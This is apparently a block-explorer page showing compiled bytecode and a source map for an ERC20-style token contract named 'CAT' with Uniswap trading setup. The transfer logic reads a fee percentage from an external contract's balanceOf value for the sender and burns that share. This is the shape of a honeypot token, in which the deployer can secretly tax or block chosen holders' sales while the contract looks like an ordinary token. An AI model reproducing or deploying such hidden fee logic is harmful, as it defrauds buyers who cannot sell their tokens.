1173b565b6020604051808303815f875af1158015610718573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073c9190611710565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107c330610967565b5f806107cd610adf565b426040518863ffffffff1660e01b81526004016107ef969594939291906117a4565b60606040518083038185885af115801561080b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108309190611817565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108d0929190611867565b6020604051808303815f875af11580156108ec573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091091906118b8565b50600160035f6101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109b56111f0565b73ffffffffffffffffffffffffffffffffffffffff166109d3610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090611676565b60405180910390fd5b610a325f6111f7565b565b610a3c6111f0565b73ffffffffffffffffffffffffffffffffffffffff16610a5a610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa790611676565b60405180910390fd5b5f600760146101000a81548160ff021916908315150217905550565b600760149054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4341540000000000000000000000000000000000000000000000000000000000815250905090565b5f610b4f338484610e94565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610be36111f0565b73ffffffffffffffffffffffffffffffffffffffff16610c01610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90611676565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc90611953565b60405180910390fd5b610cce816111f7565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d36906119e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611a6f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e8791906114fe565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610ecc575f80fd5b5f8211610ed7575f80fd5b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610f3291906115aa565b602060405180830381865afa158015610f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f719190611a8d565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610ffc575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561102a57611027606461101983866112b890919063ffffffff16565b6112f890919063ffffffff16565b91505b61107a8360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111ca90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061111d8261110f8560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461131d90919063ffffffff16565b6111ca90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bb91906114fe565b60405180910390a35050505050565b5f828211156111d7575f80fd5b5f82846111e49190611ae5565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036112c8575f90506112f2565b5f82846112d59190611b18565b90508284826112e49190611b86565b146112ed575f80fd5b809150505b92915050565b5f808211611304575f80fd5b5f82846113119190611b86565b90508091505092915050565b5f80828461132b9190611bb6565b905083811015611339575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137a57808201518184015260208101905061135f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139f82611343565b6113a9818561134d565b93506113b981856020860161135d565b6113c281611385565b840191505092915050565b5f6020820190508181035f8301526113e58184611395565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141a826113f1565b9050919050565b61142a81611410565b8114611434575f80fd5b50565b5f8135905061144581611421565b92915050565b5f819050919050565b61145d8161144b565b8114611467575f80fd5b50565b5f8135905061147881611454565b92915050565b5f8060408385031215611494576114936113ed565b5b5f6114a185828601611437565b92505060206114b28582860161146a565b9150509250929050565b5f8115159050919050565b6114d0816114bc565b82525050565b5f6020820190506114e95f8301846114c7565b92915050565b6114f88161144b565b82525050565b5f6020820190506115115f8301846114ef565b92915050565b5f805f6060848603121561152e5761152d6113ed565b5b5f61153b86828701611437565b935050602061154c86828701611437565b925050604061155d8682870161146a565b9150509250925092565b5f60ff82169050919050565b61157c81611567565b82525050565b5f6020820190506115955f830184611573565b92915050565b6115a481611410565b82525050565b5f6020820190506115bd5f83018461159b565b92915050565b5f602082840312156115d8576115d76113ed565b5b5f6115e584828501611437565b91505092915050565b5f8060408385031215611604576116036113ed565b5b5f61161185828601611437565b925050602061162285828601611437565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61166060208361134d565b915061166b8261162c565b602082019050919050565b5f6020820190508181035f83015261168d81611654565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f6116c860168361134d565b91506116d382611694565b602082019050919050565b5f6020820190508181035f8301526116f5816116bc565b9050919050565b5f8151905061170a81611421565b92915050565b5f60208284031215611725576117246113ed565b5b5f611732848285016116fc565b91505092915050565b5f60408201905061174e5f83018561159b565b61175b602083018461159b565b9392505050565b5f819050919050565b5f819050919050565b5f61178e61178961178484611762565b61176b565b61144b565b9050919050565b61179e81611774565b82525050565b5f60c0820190506117b75f83018961159b565b6117c460208301886114ef565b6117d16040830187611795565b6117de6060830186611795565b6117eb608083018561159b565b6117f860a08301846114ef565b979650505050505050565b5f8151905061181181611454565b92915050565b5f805f6060848603121561182e5761182d6113ed565b5b5f61183b86828701611803565b935050602061184c86828701611803565b925050604061185d86828701611803565b9150509250925092565b5f60408201905061187a5f83018561159b565b61188760208301846114ef565b9392505050565b611897816114bc565b81146118a1575f80fd5b50565b5f815190506118b28161188e565b92915050565b5f602082840312156118cd576118cc6113ed565b5b5f6118da848285016118a4565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61193d60268361134d565b9150611948826118e3565b604082019050919050565b5f6020820190508181035f83015261196a81611931565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119cb60248361134d565b91506119d682611971565b604082019050919050565b5f6020820190508181035f8301526119f8816119bf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a5960228361134d565b9150611a64826119ff565b604082019050919050565b5f6020820190508181035f830152611a8681611a4d565b9050919050565b5f60208284031215611aa257611aa16113ed565b5b5f611aaf84828501611803565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611aef8261144b565b9150611afa8361144b565b9250828203905081811115611b1257611b11611ab8565b5b92915050565b5f611b228261144b565b9150611b2d8361144b565b9250828202611b3b8161144b565b91508282048414831517611b5257611b51611ab8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b908261144b565b9150611b9b8361144b565b925082611bab57611baa611b59565b5b828204905092915050565b5f611bc08261144b565b9150611bcb8361144b565b9250828201905080821115611be357611be2611ab8565b5b9291505056fea2646970667358221220396a03e94f1158407f4834004ee3bde7d052dfbf64de4f083b80a30c6add8f5264736f6c63430008180033

Deployed Bytecode Sourcemap

4981:4073:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6293:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8901:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6190:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7729:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8336:557;;;:::i;:::-;;6585:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5542:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6770:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1042:97;;;;;;;;;;;;;:::i;:::-;;6676:82;;;;;;;;;;;;;:::i;:::-;;5877:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1214:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6490:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7565:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7423:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1444:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6293:83;6330:13;6363:5;;;;;;;;;;;;;;;;;6356:12;;6293:83;:::o;8901:150::-;8967:4;8984:37;8993:10;9005:7;9014:6;8984:8;:37::i;:::-;9039:4;9032:11;;8901:150;;;;:::o;6190:91::-;6234:7;6261:12;;6254:19;;6190:91;:::o;7729:256::-;7818:4;7835:36;7845:6;7853:9;7864:6;7835:9;:36::i;:::-;7882:73;7891:6;7899:10;7911:43;7947:6;7911:11;:19;7923:6;7911:19;;;;;;;;;;;;;;;:31;7931:10;7911:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;7882:8;:73::i;:::-;7973:4;7966:11;;7729:256;;;;;:::o;8336:557::-;1769:12;:10;:12::i;:::-;1758:23;;:7;:5;:7::i;:::-;:23;;;1750:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8409:11:::1;;;;;;;;;;;8408:12;8400:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;8458:63;8475:4;8490:15;;;;;;;;;;;8508:12;;8458:8;:63::i;:::-;8566:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8548:55;;;8612:4;8619:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8548:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8532:13;;:110;;;;;;;;;;;;;;;;;;8653:15;;;;;;;;;;;:31;;;8692:9;8711:4;8717:24;8735:4;8717:9;:24::i;:::-;8743:1;8746::::0;8749:7:::1;:5;:7::i;:::-;8758:15;8653:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8792:13;;;;;;;;;;;8785:29;;;8823:15;;;;;;;;;;;8841:14;8785:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8881:4;8867:11;;:18;;;;;;;;;;;;;;;;;;8336:557::o:0;6585:83::-;6626:5;6651:9;;;;;;;;;;;6644:16;;6585:83;:::o;5542:28::-;;;;;;;;;;;;;:::o;6770:110::-;6827:7;6854:9;:18;6864:7;6854:18;;;;;;;;;;;;;;;;6847:25;;6770:110;;;:::o;1042:97::-;1769:12;:10;:12::i;:::-;1758:23;;:7;:5;:7::i;:::-;:23;;;1750:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1103:30:::1;1130:1;1103:18;:30::i;:::-;1042:97::o:0;6676:82::-;1769:12;:10;:12::i;:::-;1758:23;;:7;:5;:7::i;:::-;:23;;;1750:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6745:5:::1;6735:7;;:15;;;;;;;;;;;;;;;;;;6676:82::o:0;5877:26::-;;;;;;;;;;;;;:::o;1214:81::-;1260:7;1283:6;;;;;;;;;;;1276:13;;1214:81;:::o;6490:87::-;6529:13;6562:7;;;;;;;;;;;;;;;;;6555:14;;6490:87;:::o;7565:156::-;7634:4;7651:40;7661:10;7673:9;7684:6;7651:9;:40::i;:::-;7709:4;7702:11;;7565:156;;;;:::o;7423:134::-;7495:7;7522:11;:18;7534:5;7522:18;;;;;;;;;;;;;;;:27;7541:7;7522:27;;;;;;;;;;;;;;;;7515:34;;7423:134;;;;:::o;1444:191::-;1769:12;:10;:12::i;:::-;1758:23;;:7;:5;:7::i;:::-;:23;;;1750:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1549:1:::1;1529:22;;:8;:22;;::::0;1521:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1601:28;1620:8;1601:18;:28::i;:::-;1444:191:::0;:::o;7993:335::-;8103:1;8086:19;;:5;:19;;;8078:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8184:1;8165:21;;:7;:21;;;8157:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8266:6;8236:11;:18;8248:5;8236:18;;;;;;;;;;;;;;;:27;8255:7;8236:27;;;;;;;;;;;;;;;:36;;;;8304:7;8288:32;;8297:5;8288:32;;;8313:6;8288:32;;;;;;:::i;:::-;;;;;;;;7993:335;;;:::o;6888:527::-;6968:12;7019:1;7003:18;;:4;:18;;;6995:27;;;;;;7050:1;7041:6;:10;7033:19;;;;;;7063:15;7088:16;;;;;;;;;;;7081:34;;;7116:4;7081:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7063:58;;7152:4;7136:21;;:4;:21;;;;:46;;;;;7169:13;;;;;;;;;;;7161:21;;:4;:21;;;;7136:46;7132:115;;;7207:28;7231:3;7207:19;7218:7;7207:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;7200:35;;7132:115;7275:27;7295:6;7275:9;:15;7285:4;7275:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;7257:9;:15;7267:4;7257:15;;;;;;;;;;;;;;;:45;;;;7330:35;7360:4;7330:25;7348:6;7330:9;:13;7340:2;7330:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;7314:9;:13;7324:2;7314:13;;;;;;;;;;;;;;;:51;;;;7396:2;7381:26;;7390:4;7381:26;;;7400:6;7381:26;;;;;;:::i;:::-;;;;;;;;6957:458;;6888:527;;;:::o;3209:148::-;3267:7;3300:1;3295;:6;;3287:15;;;;;;3313:9;3329:1;3325;:5;;;;:::i;:::-;3313:17;;3348:1;3341:8;;;3209:148;;;;:::o;190:92::-;243:7;266:10;259:17;;190:92;:::o;1986:177::-;2056:16;2075:6;;;;;;;;;;;2056:25;;2097:8;2088:6;;:17;;;;;;;;;;;;;;;;;;2148:8;2117:40;;2138:8;2117:40;;;;;;;;;;;;2049:114;1986:177;:::o;3674:185::-;3732:7;3761:1;3756;:6;3752:23;;3772:1;3765:8;;;;3752:23;3785:9;3801:1;3797;:5;;;;:::i;:::-;3785:17;;3830:1;3825;3821;:5;;;;:::i;:::-;:10;3813:19;;;;;;3850:1;3843:8;;;3674:185;;;;;:::o;3365:147::-;3423:7;3455:1;3451;:5;3443:14;;;;;;3468:9;3484:1;3480;:5;;;;:::i;:::-;3468:17;;3503:1;3496:8;;;3365:147;;;;:::o;3518:148::-;3576:7;3596:9;3612:1;3608;:5;;;;:::i;:::-;3596:17;;3637:1;3632;:6;;3624:15;;;;;;3657:1;3650:8;;;3518:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:172::-;7145:24;7141:1;7133:6;7129:14;7122:48;7005:172;:::o;7183:366::-;7325:3;7346:67;7410:2;7405:3;7346:67;:::i;:::-;7339:74;;7422:93;7511:3;7422:93;:::i;:::-;7540:2;7535:3;7531:12;7524:19;;7183:366;;;:::o;7555:419::-;7721:4;7759:2;7748:9;7744:18;7736:26;;7808:9;7802:4;7798:20;7794:1;7783:9;7779:17;7772:47;7836:131;7962:4;7836:131;:::i;:::-;7828:139;;7555:419;;;:::o;7980:143::-;8037:5;8068:6;8062:13;8053:22;;8084:33;8111:5;8084:33;:::i;:::-;7980:143;;;;:::o;8129:351::-;8199:6;8248:2;8236:9;8227:7;8223:23;8219:32;8216:119;;;8254:79;;:::i;:::-;8216:119;8374:1;8399:64;8455:7;8446:6;8435:9;8431:22;8399:64;:::i;:::-;8389:74;;8345:128;8129:351;;;;:::o;8486:332::-;8607:4;8645:2;8634:9;8630:18;8622:26;;8658:71;8726:1;8715:9;8711:17;8702:6;8658:71;:::i;:::-;8739:72;8807:2;8796:9;8792:18;8783:6;8739:72;:::i;:::-;8486:332;;;;;:::o;8824:85::-;8869:7;8898:5;8887:16;;8824:85;;;:::o;8915:60::-;8943:3;8964:5;8957:12;;8915:60;;;:::o;8981:158::-;9039:9;9072:61;9090:42;9099:32;9125:5;9099:32;:::i;:::-;9090:42;:::i;:::-;9072:61;:::i;:::-;9059:74;;8981:158;;;:::o;9145:147::-;9240:45;9279:5;9240:45;:::i;:::-;9235:3;9228:58;9145:147;;:::o;9298:807::-;9547:4;9585:3;9574:9;9570:19;9562:27;;9599:71;9667:1;9656:9;9652:17;9643:6;9599:71;:::i;:::-;9680:72;9748:2;9737:9;9733:18;9724:6;9680:72;:::i;:::-;9762:80;9838:2;9827:9;9823:18;9814:6;9762:80;:::i;:::-;9852;9928:2;9917:9;9913:18;9904:6;9852:80;:::i;:::-;9942:73;10010:3;9999:9;9995:19;9986:6;9942:73;:::i;:::-;10025;10093:3;10082:9;10078:19;10069:6;10025:73;:::i;:::-;9298:807;;;;;;;;;:::o;10111:143::-;10168:5;10199:6;10193:13;10184:22;;10215:33;10242:5;10215:33;:::i;:::-;10111:143;;;;:::o;10260:663::-;10348:6;10356;10364;10413:2;10401:9;10392:7;10388:23;10384:32;10381:119;;;10419:79;;:::i;:::-;10381:119;10539:1;10564:64;10620:7;10611:6;10600:9;10596:22;10564:64;:::i;:::-;10554:74;;10510:128;10677:2;10703:64;10759:7;10750:6;10739:9;10735:22;10703:64;:::i;:::-;10693:74;;10648:129;10816:2;10842:64;10898:7;10889:6;10878:9;10874:22;10842:64;:::i;:::-;10832:74;;10787:129;10260:663;;;;;:::o;10929:332::-;11050:4;11088:2;11077:9;11073:18;11065:26;;11101:71;11169:1;11158:9;11154:17;11145:6;11101:71;:::i;:::-;11182:72;11250:2;11239:9;11235:18;11226:6;11182:72;:::i;:::-;10929:332;;;;;:::o;11267:116::-;11337:21;11352:5;11337:21;:::i;:::-;11330:5;11327:32;11317:60;;11373:1;11370;11363:12;11317:60;11267:116;:::o;11389:137::-;11443:5;11474:6;11468:13;11459:22;;11490:30;11514:5;11490:30;:::i;:::-;11389:137;;;;:::o;11532:345::-;11599:6;11648:2;11636:9;11627:7;11623:23;11619:32;11616:119;;;11654:79;;:::i;:::-;11616:119;11774:1;11799:61;11852:7;11843:6;11832:9;11828:22;11799:61;:::i;:::-;11789:71;;11745:125;11532:345;;;;:::o;11883:225::-;12023:34;12019:1;12011:6;12007:14;12000:58;12092:8;12087:2;12079:6;12075:15;12068:33;11883:225;:::o;12114:366::-;12256:3;12277:67;12341:2;12336:3;12277:67;:::i;:::-;12270:74;;12353:93;12442:3;12353:93;:::i;:::-;12471:2;12466:3;12462:12;12455:19;;12114:366;;;:::o;12486:419::-;12652:4;12690:2;12679:9;12675:18;12667:26;;12739:9;12733:4;12729:20;12725:1;12714:9;12710:17;12703:47;12767:131;12893:4;12767:131;:::i;:::-;12759:139;;12486:419;;;:::o;12911:223::-;13051:34;13047:1;13039:6;13035:14;13028:58;13120:6;13115:2;13107:6;13103:15;13096:31;12911:223;:::o;13140:366::-;13282:3;13303:67;13367:2;13362:3;13303:67;:::i;:::-;13296:74;;13379:93;13468:3;13379:93;:::i;:::-;13497:2;13492:3;13488:12;13481:19;;13140:366;;;:::o;13512:419::-;13678:4;13716:2;13705:9;13701:18;13693:26;;13765:9;13759:4;13755:20;13751:1;13740:9;13736:17;13729:47;13793:131;13919:4;13793:131;:::i;:::-;13785:139;;13512:419;;;:::o;13937:221::-;14077:34;14073:1;14065:6;14061:14;14054:58;14146:4;14141:2;14133:6;14129:15;14122:29;13937:221;:::o;14164:366::-;14306:3;14327:67;14391:2;14386:3;14327:67;:::i;:::-;14320:74;;14403:93;14492:3;14403:93;:::i;:::-;14521:2;14516:3;14512:12;14505:19;;14164:366;;;:::o;14536:419::-;14702:4;14740:2;14729:9;14725:18;14717:26;;14789:9;14783:4;14779:20;14775:1;14764:9;14760:17;14753:47;14817:131;14943:4;14817:131;:::i;:::-;14809:139;;14536:419;;;:::o;14961:351::-;15031:6;15080:2;15068:9;15059:7;15055:23;15051:32;15048:119;;;15086:79;;:::i;:::-;15048:119;15206:1;15231:64;15287:7;15278:6;15267:9;15263:22;15231:64;:::i;:::-;15221:74;;15177:128;14961:351;;;;:::o;15318:180::-;15366:77;15363:1;15356:88;15463:4;15460:1;15453:15;15487:4;15484:1;15477:15;15504:194;15544:4;15564:20;15582:1;15564:20;:::i;:::-;15559:25;;15598:20;15616:1;15598:20;:::i;:::-;15593:25;;15642:1;15639;15635:9;15627:17;;15666:1;15660:4;15657:11;15654:37;;;15671:18;;:::i;:::-;15654:37;15504:194;;;;:::o;15704:410::-;15744:7;15767:20;15785:1;15767:20;:::i;:::-;15762:25;;15801:20;15819:1;15801:20;:::i;:::-;15796:25;;15856:1;15853;15849:9;15878:30;15896:11;15878:30;:::i;:::-;15867:41;;16057:1;16048:7;16044:15;16041:1